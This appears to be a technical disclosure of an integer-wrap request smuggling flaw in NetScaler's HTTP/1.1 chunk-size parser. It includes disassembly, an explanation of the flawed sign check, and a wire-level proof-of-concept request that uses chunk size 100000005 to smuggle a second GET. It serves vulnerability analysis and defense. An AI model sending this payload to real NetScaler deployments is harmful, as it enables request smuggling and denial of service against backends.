
Technical analysis of a NetScaler nsppe HTTP/1.1 chunk-size integer-wrap request smuggling flaw, with disassembly, wire-level PoC flows, and firmware patch diff.
The nsppe HTTP/1.1 chunked-body parser reads the chunk-size field into a 32-bit register and never checks for overflow. Nine or more hex digits and the value silently wraps: 100000005 (2^32 + 5) is consumed as a chunk size of 5.
That's a funny parser bug until you remember what NetScaler does with the body: it forwards the client's chunked framing to the backend exactly as received, but it decides where the request ends using its own wrapped value. So the proxy believes request #1 is complete after five body bytes, while a correct backend reading the same bytes computes 4,294,967,301 and settles in for a 4 GB body that will never arrive. Two machines, one byte stream, two different opinions about where a request ends.
Everything after NetScaler's version of "the end" gets reclassified as a new pipelined request on the same client connection, then forwarded independently on the shared proxy-to-backend connection.
What you end up with depends on the backend's own parser:
One unauthenticated request. Default configuration. No preconditions beyond reaching an HTTP vserver.
The parser's job is simple: turn a chunk-size line like 1a3f\r\n into a number. It takes the buffer in rdi with its length in esi, accumulates the hex value into the 32-bit slot at *rdx (in and out, so a size split across two packets resumes cleanly), skips whitespace, and requires the trailing \r\n. It answers with bytes consumed, 0 for "need more data", or -1 for malformed.
The whole loop, small enough to see the bug with the naked eye:
20af5e0: movzx eax, BYTE PTR [rbx]
20af5e3: test BYTE PTR [rax+rax*1+0x2746c80], 0x10 ; ctype: hex digit?
20af5eb: je 20af60b
20af5ed: mov ecx, r11d
20af5f0: shl ecx, 0x4 ; value <<= 4
20af5f3: movzx r11d, BYTE PTR [rax+0x2746b80] ; hexval(digit)
20af5fb: add r11d, ecx ; value = value*16 + d
20af5fe: inc rbx
20af601: dec r8d
20af604: jne 20af5e0 ; next digit
r11d is the accumulator, and it is 32 bits wide. Every digit does value <<= 4; value += digit. No digit counter, no magnitude cap, no overflow check, no jo anywhere in the loop. The ninth digit doesn't error out; it shifts the top of the number off the end of the register and nobody notices. 0x100000005 & 0xffffffff = 5, and the parser is perfectly satisfied with that.
There is exactly one sanity check downstream, and it's wrong in an almost poetic way. The dechunking driver (sub_20af6b0, call sites 0x20af719 / 0x20af9fb, size stored at [r12+0x344]) applies a sign test to the accumulated value. Sit with that for a second: the only wraps that get caught are the ones landing in the negative half, [0x80000000, 0xffffffff]. A wrapped size whose low 32 bits come out below 0x80000000 sails through as a completely normal chunk size. 0x100000005 wrapping to 5 is the canonical case: wrapped, unnoticed, and devastating.
The packet turns into a smuggle because of one design decision in how NetScaler treats bodies: it forwards the client's chunked framing to the backend byte for byte, untouched, while using its own (wrapped) understanding of that framing to decide where the client's request ends.
So NetScaler ends request #1 after five body bytes and queues the trailing 37 as a second, pipelined request. The backend, doing the arithmetic correctly, reads 100000005 as 4,294,967,301 and keeps waiting for body on request #1. From that point on, both boxes are reading the same stream and living in different worlds.
Which world you end up in depends on the backend.
Attacker NetScaler (<=73.30) Backend (RFC 64-bit)
| | |
| [1] one TCP segment, 122 bytes: | |
| POST /wrap HTTP/1.1 | |
| Host: poc | |
| Transfer-Encoding: chunked | |
| 100000005\r\nAAAAA\r\n0\r\n\r\n | |
| GET /SMUGGLED HTTP/1.1 | |
| Host: poc\r\n\r\n | |
|--[1]---------------------------------->| |
| | [2] parses "100000005" into a u32 |
| | wraps to 5; consumes AAAAA; |
| | sees terminating 0-chunk |
| | ==> request #1 COMPLETE |
| | trailing 37 bytes held as a |
| | pending pipelined request #2 |
| | |
| |--[3] 85 bytes, framing VERBATIM-------------->|
| | POST /wrap HTTP/1.1 |
| | Transfer-Encoding: chunked |
| | 100000005\r\nAAAAA\r\n0\r\n\r\n |
| | |
| | | [4] parses 0x100000005 (64-bit)
| | | = 4,294,967,301 bytes
| | | waiting for a body that never co
| | | [WEDGED: no response, ever]
| | |
| | GET /SMUGGLED waits in NetScaler's |
| | pipeline queue forever: response #1 |
| | never arrives |
| | |